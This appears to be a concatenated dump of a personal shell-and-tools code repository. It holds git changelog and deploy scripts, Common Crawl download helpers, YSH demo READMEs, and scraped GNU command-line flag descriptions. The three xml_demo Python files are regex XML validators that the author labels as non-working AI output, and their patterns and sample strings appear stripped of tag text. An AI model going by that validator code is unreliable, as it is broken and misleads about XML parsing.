if we don't get the right number of NUL characters. 67 | expect-nul-count $((num_entries * num_fields * 2)) < tmp.bin 68 | 69 | # Writes HTML to stdout. 70 | escape-segments < tmp.bin 71 | 72 | echo '
%h %ad %x00%an%x00 
%x00%B%x00
' 73 | } 74 | 75 | write-file() { 76 | # NOTE: with -n 5 there is a slight race condition. 77 | git-log-html > git-log-multiline.html 78 | echo "Wrote git-log-multiline.html" 79 | } 80 | 81 | "$@" 82 | -------------------------------------------------------------------------------- /git-changelog/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Demo of git changelog in HTML. 4 | # 5 | # Usage: 6 | # ./demo.sh 7 | 8 | escape-segments() { 9 | python -c ' 10 | import cgi, re, sys 11 | 12 | print re.sub( 13 | r"\x01(.*)\x02", 14 | lambda match: cgi.escape(match.group(1)), 15 | sys.stdin.read()) 16 | ' 17 | } 18 | 19 | git-log-html() { 20 | echo '' 21 | 22 | # - a trick for HTML escaping (avoid XSS): surround %s with unlikely bytes, 23 | # 0x01 and 0x02. Then pipe Python to escape. 24 | local format=$' 25 | 26 | 27 | 28 | ' 29 | git log -n 5 --pretty="format:$format" | escape-segments 30 | 31 | echo '
%h \x01%s\x02
' 32 | } 33 | 34 | # Remember: http://www.oilshell.org/blog/2017/08/12.html 35 | # 36 | # Avoid Directly Manipulating File Descriptors in Shell Scripts. 37 | # - git-log-html is a function, and functions have their own stdout. 38 | 39 | write-file() { 40 | git-log-html > git-log.html 41 | echo "Wrote git-log.html" 42 | } 43 | 44 | "$@" 45 | -------------------------------------------------------------------------------- /git.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./git.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | merge-to-main() { 11 | local do_push=${1:-T} # pass F to disable 12 | 13 | local branch=$(git rev-parse --abbrev-ref HEAD) 14 | 15 | if test "$do_push" = T; then 16 | git checkout main && 17 | git merge $branch && 18 | git push && 19 | git checkout $branch 20 | else 21 | git checkout main && 22 | git merge $branch && 23 | git checkout $branch 24 | fi 25 | } 26 | 27 | rebase-main() { 28 | git rebase -i main 29 | } 30 | 31 | diff-main() { 32 | git diff main.. 33 | } 34 | 35 | log-main() { 36 | git log main.. 37 | } 38 | 39 | "$@" 40 | -------------------------------------------------------------------------------- /grep-for-papers/README.md: -------------------------------------------------------------------------------- 1 | grep-for-papers 2 | =============== 3 | 4 | Find references to research papers in source code. 5 | 6 | Example: http://www.oilshell.org/grep-for-papers/llvm-7.0.1.src.wwz/ 7 | 8 | Clicking on the links reduces the manual work in finding references. 9 | -------------------------------------------------------------------------------- /grep-for-papers/deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./deploy.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | compress() { 11 | for dir in _data/*; do 12 | local out="$PWD/$(basename $dir).wwz" 13 | pushd $dir 14 | zip -r -q $out . 15 | popd 16 | done 17 | } 18 | 19 | deploy() { 20 | local name=$1 21 | local host=$name.org 22 | local dest_dir=oilshell.org/grep-for-papers 23 | 24 | ssh $name@$host mkdir -p $dest_dir 25 | rsync --archive --verbose llvm.txt *.wwz $name@$host:$dest_dir/ 26 | } 27 | 28 | "$@" 29 | -------------------------------------------------------------------------------- /hay/README.md: -------------------------------------------------------------------------------- 1 | YSH / Hay Demos 2 | ===== 3 | 4 | - [iac-demo.ysh]() 5 | - Example of Terraform from: https://xeiaso.net/blog/2025/yoke-k8s/ 6 | - *This is not code. This is Configuration* 7 | - 8 | - 9 | 10 | TODO: 11 | 12 | - Ruby Rake Demo 13 | - `file hello.o : hello.c { ... }` 14 | - From Languages to Language Sets 15 | - *Ruby is my favorite language, but this looks super neat* 16 | - also responding to the "Unix sludge" question: 17 | - Ansible / babashka Demo 18 | - `state zsh { ... }` 19 | - 20 | - 21 | - Confetti Demo 22 | - `user * { ... }; user 'Joe Williams' { ... }` 23 | - 24 | - 25 | - Untyped Hay demo 26 | - 27 | 28 | Other recent discussion: 29 | 30 | - traceboot: 31 | -------------------------------------------------------------------------------- /hay/run.sh: -------------------------------------------------------------------------------- 1 | 2 | # Run YSH from the repo, because this demo relies on a recent bug fix 3 | # As of 2025, Hay is still in development, and can use feedback/testing 4 | 5 | ~/git/oils-for-unix/oils/bin/ysh iac-demo.ysh > output.txt 6 | 7 | -------------------------------------------------------------------------------- /headless/README.md: -------------------------------------------------------------------------------- 1 | PyQT Demo 2 | --------- 3 | 4 | Pretty impressive "one shot" in qt-terminal-app.py 5 | 6 | - 7 | 8 | -------------------------------------------------------------------------------- /headless/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # catbrain tests 4 | # 5 | # Usage: 6 | # ./run.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | OILS_REPO=~/git/oils-for-unix/oils 13 | 14 | : ${LIB_OSH=$OILS_REPO/stdlib/osh} 15 | 16 | source $LIB_OSH/task-five.sh 17 | source $LIB_OSH/no-quotes.sh 18 | 19 | make-venv() { 20 | python3 -m venv _tmp/venv 21 | } 22 | 23 | deps() { 24 | . _tmp/venv/bin/activate 25 | # Claude AI hallucinated this 26 | # pyqt5-qtermwidget 27 | python3 -m pip install PyQt5 PyQTWebEngine 28 | } 29 | 30 | task-five "$@" 31 | -------------------------------------------------------------------------------- /headless/vte.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # catbrain tests 4 | # 5 | # Usage: 6 | # ./run.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | OILS_REPO=~/git/oils-for-unix/oils 13 | 14 | : ${LIB_OSH=$OILS_REPO/stdlib/osh} 15 | 16 | source $LIB_OSH/task-five.sh 17 | source $LIB_OSH/no-quotes.sh 18 | 19 | deb-deps() { 20 | # For Debian/Ubuntu: 21 | sudo apt-get install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-vte-2.91 22 | } 23 | 24 | task-five "$@" 25 | -------------------------------------------------------------------------------- /htm8/crawl.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # CDX format 4 | # https://commoncrawl.org/blog/announcing-the-common-crawl-index 5 | 6 | index-paths() { 7 | # 302 different files 8 | wget --no-clobber \ 9 | 'http://data.commoncrawl.org/crawl-data/CC-MAIN-2024-51/cc-index.paths.gz' 10 | } 11 | 12 | random-index() { 13 | # 759 MB 14 | wget --no-clobber \ 15 | 'data.commoncrawl.org/cc-index/collections/CC-MAIN-2024-51/indexes/cdx-00016.gz' 16 | } 17 | 18 | # OK these are CSV files or whatever? 19 | 20 | preview() { 21 | local n=${1:-100} 22 | zcat cdx-00016.gz | head -n $n 23 | } 24 | 25 | bench() { 26 | # 5.4 GB in 20 seconds 27 | time zcat cdx-00016.gz | pv > /dev/null 28 | } 29 | 30 | count() { 31 | # 11.5 M lines? 1 URL per line 32 | # 33 | # So if there are all the same size, then that's 3.47 B URLs 34 | 35 | time zcat cdx-00016.gz | wc 36 | } 37 | 38 | json-to-url() { 39 | #jq -r '.offset .length .filename' 40 | jq -r '[.offset, .length, .filename] | @tsv' 41 | } 42 | 43 | json() { 44 | # everything after the 3rd field 45 | shopt -s lastpipe 46 | preview 1 | cut -d ' ' -f 3- | json-to-url | read offset length filename 47 | 48 | # OK this works 49 | set -x 50 | curl -r "$offset-$((offset+length-1))" https://data.commoncrawl.org/$filename > page.gz 51 | } 52 | 53 | validate() { 54 | r=../../oils 55 | cat $PWD/page.html | PYTHONPATH=$r:$r/vendor $r/data_lang/htm8_util.py tokens 56 | 57 | # LexError - // 58 | echo $PWD/page.html | PYTHONPATH=$r:$r/vendor $r/data_lang/htm8_util.py parse-htm8 59 | } 60 | 61 | 62 | "$@" 63 | -------------------------------------------------------------------------------- /htm8/xml_demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Demo from Claude AI that doesn't run 4 | 5 | import re 6 | 7 | def validate_xml(xml): 8 | # Remove comments 9 | xml = re.sub(r'', '', xml) 10 | 11 | # Check for root element - BUG 12 | if not re.match(r'^\s*<[^?].*>[\s\S]*\s*$', xml): 13 | return False 14 | 15 | # Check for proper nesting and closing tags 16 | stack = [] 17 | for tag in re.findall(r']*\s+\w+\s*=\s*[^"\']', xml): 29 | return False 30 | 31 | return True 32 | 33 | # Test the validator 34 | xml_samples = [ 35 | 'Content', 36 | 'ContentMore', 37 | 'ContentMore', 38 | 'Content', 39 | 'Content', 40 | ] 41 | 42 | for i, xml in enumerate(xml_samples, 1): 43 | print(f"Sample {i} is {'valid' if validate_xml(xml) else 'invalid'} XML") 44 | -------------------------------------------------------------------------------- /htm8/xml_demo2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # After asking for correct regex 4 | 5 | import re 6 | 7 | def validate_xml(xml): 8 | # Remove comments 9 | xml = re.sub(r'', '', xml) 10 | 11 | # Check for root element 12 | if not re.match(r'^\s*<([^?/\s>]+)[^>]*>[\s\S]*\s*$', xml): 13 | return False 14 | 15 | # Check for proper nesting and closing tags 16 | stack = [] 17 | for tag in re.finditer(r'/]+)', xml): 18 | tag_name = tag.group(1) 19 | if tag.group().startswith(']+\s+\w+\s*=\s*[^"\'][^>]*>', xml): 30 | return False 31 | 32 | return True 33 | 34 | # Test the validator 35 | xml_samples = [ 36 | 'Content', 37 | 'ContentMore', 38 | 'ContentMore', 39 | 'Content', 40 | 'Content', 41 | 'Content', 42 | '', 43 | 'Content', 44 | ] 45 | 46 | for i, xml in enumerate(xml_samples, 1): 47 | print(f"Sample {i} is {'valid' if validate_xml(xml) else 'invalid'} XML") 48 | 49 | -------------------------------------------------------------------------------- /htm8/xml_demo3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # After asking for self-closing tags 4 | # 5 | # Now it does not validate special characters! 6 | 7 | import re 8 | 9 | def validate_xml(xml): 10 | # Remove comments 11 | xml = re.sub(r'', '', xml) 12 | 13 | # Check for root element 14 | if not re.match(r'^\s*<([^?/\s>]+)[^>]*>[\s\S]*\s*$', xml): 15 | return False 16 | 17 | # Check for proper nesting, closing tags, and self-closing tags 18 | stack = [] 19 | for tag in re.finditer(r'<(?:/?)([^\s>/]+)([^>]*)>', xml): 20 | tag_name, attributes = tag.groups() 21 | if tag.group().startswith(']+\s+\w+\s*=\s*[^"\'][^>]*>', xml): 33 | return False 34 | 35 | return True 36 | 37 | # Test the validator 38 | xml_samples = [ 39 | 'Content', 40 | 'ContentMore', 41 | 'ContentMore', 42 | 'Content', 43 | 'Content', 44 | 'Content', 45 | '', 46 | 'Content', 47 | '', 48 | '', 49 | '', 50 | 'Content' 51 | ] 52 | 53 | for i, xml in enumerate(xml_samples, 1): 54 | print(f"Sample {i} is {'valid' if validate_xml(xml) else 'invalid'} XML") 55 | 56 | -------------------------------------------------------------------------------- /id-kind-func/plot.R: -------------------------------------------------------------------------------- 1 | #!/usr/bin/Rscript 2 | # 3 | # plot.R 4 | 5 | library(data.table) 6 | library(ggplot2) 7 | 8 | main = function(argv) { 9 | x=0:255 10 | for (n in c(0, 23)) { 11 | png(sprintf("bit-%d.png", n)) 12 | plot(sort(bitwAnd(x, -x-n))) 13 | dev.off() 14 | } 15 | } 16 | 17 | main(commandArgs(TRUE)) 18 | -------------------------------------------------------------------------------- /id-kind-func/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | export() { 11 | mkdir -p _tmp 12 | ./func_search.py print ik7 > _tmp/ik7.txt 13 | ./func_search.py print ik6 > _tmp/ik6.txt 14 | } 15 | 16 | readonly CLANG=${CLANG:-~/install/clang+llvm-3.8.0-x86_64-linux-gnu-ubuntu-14.04/bin/clang++} 17 | readonly GCC=${GCC:-c++} 18 | 19 | build-run() { 20 | local cxx=$1 21 | local name=$2 22 | local out=${3:-_tmp/$name} 23 | 24 | mkdir -p _tmp 25 | $cxx -std=c++11 -O3 -o $out $name.cc 26 | #chmod +x _tmp/ik7 27 | $out 28 | } 29 | 30 | ik7() { 31 | set -o xtrace 32 | build-run $GCC ik7 33 | } 34 | 35 | # http://blog.reverberate.org/2009/07/giving-up-on-at-style-assembler-syntax.html 36 | # Using Intel syntax so I can google instruction names. 37 | dump-func() { 38 | local bin=${1:-_tmp/ik7} 39 | objdump -M intel -d $bin | grep --after-context 12 LookupKind 40 | } 41 | 42 | compare-gcc-clang() { 43 | set -o xtrace 44 | build-run $GCC ik7 _tmp/ik7-gcc 45 | build-run $CLANG ik7 _tmp/ik7-clang 46 | set +o xtrace 47 | 48 | echo --- 49 | echo GCC 50 | echo 51 | dump-func _tmp/ik7-gcc 52 | echo 53 | 54 | echo --- 55 | echo Clang 56 | echo 57 | dump-func _tmp/ik7-clang 58 | } 59 | 60 | show-versions() { 61 | $GCC --version 62 | $CLANG --version 63 | } 64 | 65 | 66 | "$@" 67 | -------------------------------------------------------------------------------- /interactive-shell/README.md: -------------------------------------------------------------------------------- 1 | demoish: An interactive shell UI. 2 | -------------------------------- 3 | 4 | Features: 5 | 6 | - Sensitive to the terminal width. Completions fill horizontally like in 7 | readline, and we update the width when we receive the `SIGWINCH` 8 | signal. 9 | - Prints the first N candidates of a long list without an annoying y/n 10 | prompt. You can hit TAB again to see more. 11 | - Displays descriptions of flags 12 | - Displays progress for slow completions 13 | - Ctrl-C cancels a command 14 | - Conserves vertical screen space. Executing a command or hitting Ctrl-C 15 | removes the vertical space used by completion candidates. 16 | - Respects PS2 when the line ends with `\`. 17 | 18 | See the comments at the top of `demoish.py` for more technical details. 19 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/base64: -------------------------------------------------------------------------------- 1 | --decode decode data 2 | --ignore-garbage when decoding, ignore non-alphabet characters 3 | --wrap= wrap encoded lines after COLS character (default 76). 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/bc: -------------------------------------------------------------------------------- 1 | --help print this usage and exit 2 | --interactive force interactive mode 3 | --mathlib use the predefined math routines 4 | --quiet don't print initial banner 5 | --standard non-standard bc constructs are errors 6 | --warn warn about non-standard bc constructs 7 | --version print version information and exit 8 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/bison: -------------------------------------------------------------------------------- 1 | --help display this help and exit 2 | --version output version information and exit 3 | --print-localedir output directory containing locale-dependent data 4 | --print-datadir output directory containing skeletons and XSLT 5 | --yacc emulate POSIX Yacc 6 | --language= specify the output programming language 7 | --skeleton= specify the skeleton to use 8 | --debug instrument the parser for tracing 9 | --locations enable location support 10 | --name-prefix= prepend PREFIX to the external symbols 11 | --no-lines don't generate '#line' directives 12 | --token-table include a table of token names 13 | --report= also produce details on the automaton 14 | --report-file= write report to FILE 15 | --verbose same as '--report=state' 16 | --file-prefix= specify a PREFIX for output files 17 | --output= leave output to FILE 18 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/cat: -------------------------------------------------------------------------------- 1 | --show-all equivalent to -vET 2 | --number-nonblank number nonempty output lines, overrides -n 3 | --show-ends display $ at end of each line 4 | --number number all output lines 5 | --squeeze-blank suppress repeated empty output lines 6 | --show-tabs display TAB characters as ^I 7 | --show-nonprinting use ^ and M- notation, except for LFD and TAB 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/chroot: -------------------------------------------------------------------------------- 1 | --groups= specify supplementary groups as g1,g2,..,gN 2 | --skip-chdir do not change working directory to '/' 3 | --help display this help and exit 4 | --version output version information and exit 5 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/cp: -------------------------------------------------------------------------------- 1 | --preserve= 2 | --attributes-only don't copy the file data, just the attributes 3 | --backup but does not accept an argument 4 | --copy-contents copy contents of special files when recursive 5 | --preserve= 6 | --force if an existing destination file cannot be 7 | --interactive prompt before overwrite (overrides a previous -n 8 | --link hard link files instead of copying 9 | --dereference always follow symbolic links in SOURCE 10 | --no-clobber do not overwrite an existing file (overrides 11 | --no-dereference never follow symbolic links in SOURCE 12 | --no-preserve= don't preserve the specified attributes 13 | --parents use full source file name under DIRECTORY 14 | --recursive copy directories recursively 15 | --remove-destination remove each existing destination file before 16 | --sparse= control creation of sparse files. See below 17 | --strip-trailing-slashes remove any trailing slashes from each SOURCE 18 | --symbolic-link make symbolic links instead of copying 19 | --suffix= override the usual backup suffix 20 | --target-directory= copy all SOURCE arguments into DIRECTORY 21 | --no-target-directory treat DEST as a normal file 22 | --update copy only when the SOURCE file is newer 23 | --verbose explain what is being done 24 | --one-file-system stay on this file system 25 | --help display this help and exit 26 | --version output version information and exit 27 | --backup is given) 28 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/csplit: -------------------------------------------------------------------------------- 1 | --suffix-format= use sprintf FORMAT instead of %02d 2 | --prefix= use PREFIX instead of 'xx' 3 | --keep-files do not remove output files on errors 4 | --suppress-matched suppress the lines matching PATTERN 5 | --digits= use specified number of digits instead of 2 6 | --silent do not print counts of output file sizes 7 | --elide-empty-files remove empty output files 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/cut: -------------------------------------------------------------------------------- 1 | --bytes= select only these bytes 2 | --characters= select only these characters 3 | --delimiter= use DELIM instead of TAB for field delimiter 4 | --fields= select only these fields; also print any line 5 | --complement complement the set of selected bytes, characters 6 | --only-delimited do not print lines not containing delimiters 7 | --output-delimiter= use STRING as the output delimiter 8 | --zero-terminated line delimiter is NUL, not newline 9 | --help display this help and exit 10 | --version output version information and exit 11 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/date: -------------------------------------------------------------------------------- 1 | --date= display time described by STRING, not 'now' 2 | --file= like --date; once for each line of DATEFILE 3 | --rfc-2822 output date and time in RFC 2822 format. 4 | --rfc-3339= output date/time in RFC 3339 format. 5 | --reference= display the last modification time of FILE 6 | --set= set time described by STRING 7 | --universal print or set Coordinated Universal Time (UTC) 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/df: -------------------------------------------------------------------------------- 1 | --all include pseudo, duplicate, inaccessible file systems 2 | --block-size= scale sizes by SIZE before printing them; e.g., 3 | --human-readable print sizes in powers of 1024 (e.g., 1023M) 4 | --si print sizes in powers of 1000 (e.g., 1.1G) 5 | --inodes list inode information instead of block usage 6 | --block-size= 7 | --local limit listing to local file systems 8 | --no-sync do not invoke sync before getting usage info (default) 9 | --portability use the POSIX output format 10 | --sync invoke sync before getting usage info 11 | --total elide all entries insignificant to available space, 12 | --type= limit listing to file systems of type TYPE 13 | --print-type print file system type 14 | --exclude-type= limit listing to file systems not of type TYPE 15 | --help display this help and exit 16 | --version output version information and exit 17 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/du: -------------------------------------------------------------------------------- 1 | --files0-from= 2 | --null end each output line with NUL, not newline 3 | --all write counts for all files, not just directories 4 | --apparent-size print apparent sizes, rather than disk usage; although 5 | --block-size= scale sizes by SIZE before printing them; e.g., 6 | --apparent-size --block-size=1' 7 | --total produce a grand total 8 | --dereference-args dereference only symlinks that are listed on the 9 | --max-depth= print the total for a directory (or file, with --all) 10 | --max-depth= is the same as 11 | --summarize 12 | --files0-from= summarize disk usage of the 13 | --dereference-args (-D) 14 | --human-readable print sizes in human readable format (e.g., 1K 234M 2G) 15 | --inodes list inode usage information instead of block usage 16 | --block-size= 17 | --dereference dereference all symbolic links 18 | --count-links count sizes many times if hard linked 19 | --block-size= 20 | --no-dereference don't follow any symbolic links (this is the default) 21 | --separate-dirs for directories do not include size of subdirectories 22 | --si like -h, but use powers of 1000 not 1024 23 | --summarize display only a total for each argument 24 | --threshold= exclude entries smaller than SIZE if positive, 25 | --time show time of the last modification of any file in the 26 | --time= show time as WORD instead of modification time: 27 | --time-style= show times using STYLE, which can be: 28 | --exclude-from= exclude files that match any pattern in FILE 29 | --exclude= exclude files that match PATTERN 30 | --one-file-system skip directories on different file systems 31 | --help display this help and exit 32 | --version output version information and exit 33 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/env: -------------------------------------------------------------------------------- 1 | --ignore-environment start with an empty environment 2 | --null end each output line with NUL, not newline 3 | --unset= remove variable from the environment 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/expand: -------------------------------------------------------------------------------- 1 | --initial do not convert tabs after non blanks 2 | --tabs= have tabs NUMBER characters apart, not 8 3 | --tabs= use comma separated list of explicit tab positions 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/fmt: -------------------------------------------------------------------------------- 1 | --crown-margin preserve indentation of first two lines 2 | --prefix= reformat only lines beginning with STRING, 3 | --split-only split long lines, but do not refill 4 | --tagged-paragraph indentation of first line different from second 5 | --uniform-spacing one space between words, two after sentences 6 | --width= maximum line width (default of 75 columns) 7 | --goal= goal width (default of 93% of width) 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/fold: -------------------------------------------------------------------------------- 1 | --bytes count bytes rather than columns 2 | --spaces break at spaces 3 | --width= use WIDTH columns instead of 80 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/head: -------------------------------------------------------------------------------- 1 | --silent never print headers giving file names 2 | --verbose always print headers giving file names 3 | --zero-terminated line delimiter is NUL, not newline 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/irb: -------------------------------------------------------------------------------- 1 | --context-mode n Set n[0-3] to method to create Binding Object, 2 | --echo Show result(default) 3 | --noecho Don't show result 4 | --inspect Use `inspect' for output (default except for bc mode) 5 | --noinspect Don't use inspect for output 6 | --readline Use Readline extension module 7 | --noreadline Don't use Readline extension module 8 | --prompt-mode prompt-mode 9 | --inf-ruby-mode Use prompt appropriate for inf-ruby-mode on emacs. 10 | --simple-prompt 11 | --noprompt No prompt mode 12 | --single-irb Share self with sub-irb. 13 | --tracer Display trace for each execution of commands. 14 | --back-trace-limit n 15 | --verbose Show details 16 | --noverbose Don't show details 17 | --version Print the version of irb 18 | --help Print help 19 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/ldd: -------------------------------------------------------------------------------- 1 | --help print this help and exit 2 | --version print version information and exit 3 | --data-relocs process data relocations 4 | --function-relocs process data and function relocations 5 | --unused print unused direct dependencies 6 | --verbose print all information 7 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/ln: -------------------------------------------------------------------------------- 1 | --backup but does not accept an argument 2 | --directory allow the superuser to attempt to hard link 3 | --force remove existing destination files 4 | --interactive prompt whether to remove destinations 5 | --logical dereference TARGETs that are symbolic links 6 | --no-dereference treat LINK_NAME as a normal file if 7 | --physical make hard links directly to symbolic links 8 | --relative create symbolic links relative to link location 9 | --symbolic make symbolic links instead of hard links 10 | --suffix= override the usual backup suffix 11 | --target-directory= specify the DIRECTORY in which to create 12 | --no-target-directory treat LINK_NAME as a normal file always 13 | --verbose print name of each linked file 14 | --help display this help and exit 15 | --version output version information and exit 16 | --backup is given) 17 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/m4: -------------------------------------------------------------------------------- 1 | --help display this help and exit 2 | --version output version information and exit 3 | --fatal-warnings once: warnings become errors, twice: stop 4 | --interactive unbuffer output, ignore interrupts 5 | --prefix-builtins force a `m4_' prefix to all builtins 6 | --silent suppress some warnings for builtins 7 | --include= append DIRECTORY to include path 8 | --synclines generate `#line NUM "FILE"' lines 9 | --undefine= undefine NAME 10 | --gnu override -G to re-enable GNU extensions 11 | --traditional suppress all GNU extensions 12 | --hashsize= set symbol lookup hash table size [509] 13 | --nesting-limit= change nesting limit, 0 for unlimited [0] 14 | --freeze-state= produce a frozen state on FILE at end 15 | --reload-state= reload a frozen state from FILE at start 16 | --arglength= restrict macro tracing size 17 | --trace= trace NAME when it is defined 18 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/md5sum: -------------------------------------------------------------------------------- 1 | --binary read in binary mode 2 | --check read MD5 sums from the FILEs and check them 3 | --tag create a BSD-style checksum 4 | --text read in text mode (default) 5 | --ignore-missing don't fail or report status for missing files 6 | --quiet don't print OK for each successfully verified file 7 | --status don't output anything, status code shows success 8 | --strict exit non-zero for improperly formatted checksum lines 9 | --warn warn about improperly formatted checksum lines 10 | --help display this help and exit 11 | --version output version information and exit 12 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/mkdir: -------------------------------------------------------------------------------- 1 | --mode= set file mode (as in chmod), not a=rwx - umask 2 | --parents no error if existing, make parent directories as needed 3 | --verbose print a message for each created directory 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/mkfifo: -------------------------------------------------------------------------------- 1 | --mode= set file permission bits to MODE, not a=rw - umask 2 | --help display this help and exit 3 | --version output version information and exit 4 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/mknod: -------------------------------------------------------------------------------- 1 | --mode= set file permission bits to MODE, not a=rw - umask 2 | --help display this help and exit 3 | --version output version information and exit 4 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/mv: -------------------------------------------------------------------------------- 1 | --backup but does not accept an argument 2 | --force do not prompt before overwriting 3 | --interactive prompt before overwrite 4 | --no-clobber do not overwrite an existing file 5 | --strip-trailing-slashes remove any trailing slashes from each SOURCE 6 | --suffix= override the usual backup suffix 7 | --target-directory= move all SOURCE arguments into DIRECTORY 8 | --no-target-directory treat DEST as a normal file 9 | --update move only when the SOURCE file is newer 10 | --verbose explain what is being done 11 | --context set SELinux security context of destination 12 | --help display this help and exit 13 | --version output version information and exit 14 | --backup is given) 15 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/netstat: -------------------------------------------------------------------------------- 1 | --route display routing table 2 | --interfaces display interface table 3 | --groups display multicast group memberships 4 | --statistics display networking statistics (like SNMP) 5 | --masquerade display masqueraded connections 6 | --verbose be verbose 7 | --wide don't truncate IP addresses 8 | --numeric don't resolve names 9 | --numeric-hosts don't resolve host names 10 | --numeric-ports don't resolve port names 11 | --numeric-users don't resolve user names 12 | --symbolic resolve hardware names 13 | --extend display other/more information 14 | --programs display PID/Program name for sockets 15 | --continuous continuous listing 16 | --listening display listening server sockets 17 | --listening display all sockets (default: connected) 18 | --timers display timers 19 | --fib display Forwarding Information Base (default) 20 | --cache display routing cache instead of FIB 21 | --netrom 22 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/nl: -------------------------------------------------------------------------------- 1 | --body-numbering= use STYLE for numbering body lines 2 | --section-delimiter= use CC for separating logical pages 3 | --footer-numbering= use STYLE for numbering footer lines 4 | --header-numbering= use STYLE for numbering header lines 5 | --line-increment= line number increment at each line 6 | --join-blank-lines= group of NUMBER empty lines counted as one 7 | --number-format= insert line numbers according to FORMAT 8 | --no-renumber do not reset line numbers at logical pages 9 | --number-separator= add STRING after (possible) line number 10 | --starting-line-number= first line number on each logical page 11 | --number-width= use NUMBER columns for line numbers 12 | --help display this help and exit 13 | --version output version information and exit 14 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/nm: -------------------------------------------------------------------------------- 1 | --debug-syms Display debugger-only symbols 2 | --print-file-name Print name of the input file before every symbol 3 | --format= 4 | --no-demangle Do not demangle low-level symbol names 5 | --dynamic Display dynamic symbols instead of normal symbols 6 | --defined-only Display only defined symbols 7 | --format= Use the output format FORMAT. FORMAT can be `bsd', 8 | --extern-only Display only external symbols 9 | --line-numbers Use debugging information to find a filename and 10 | --numeric-sort Sort symbols numerically by address 11 | --no-sort Do not sort the symbols 12 | --format= 13 | --reverse-sort Reverse the sense of the sort 14 | --plugin NAME Load the specified plugin 15 | --print-size Print size of defined symbols 16 | --print-armap Include index for symbols from archive members 17 | --size-sort Sort symbols by size 18 | --special-syms Include special symbols in the output 19 | --synthetic Display synthetic symbols as well 20 | --radix= Use RADIX for printing symbol values 21 | --target= Specify the target object format as BFDNAME 22 | --undefined-only Display only undefined symbols 23 | --help Display this information 24 | --version Display this program's version number 25 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/od: -------------------------------------------------------------------------------- 1 | --traditional [OPTION]... [FILE] [[+]OFFSET[.][b] [+][LABEL][.][b]] 2 | --address-radix= output format for file offsets; RADIX is one 3 | --skip-bytes= skip BYTES input bytes first 4 | --read-bytes= limit dump to BYTES input bytes 5 | --format= select output format or formats 6 | --output-duplicates do not use * to mark line suppression 7 | --traditional accept arguments in third form above 8 | --help display this help and exit 9 | --version output version information and exit 10 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/paste: -------------------------------------------------------------------------------- 1 | --delimiters= reuse characters from LIST instead of TABs 2 | --serial paste one file at a time instead of in parallel 3 | --zero-terminated line delimiter is NUL, not newline 4 | --help display this help and exit 5 | --version output version information and exit 6 | -------------------------------------------------------------------------------- /interactive-shell/_tmp/scraped-flags/pr: -------------------------------------------------------------------------------- 1 | --columns= 2 | --across print columns across rather than down, used together 3 | --show-control-chars 4 | --double-space 5 | --date-format= 6 | --form-feed 7 | --header= 8 | 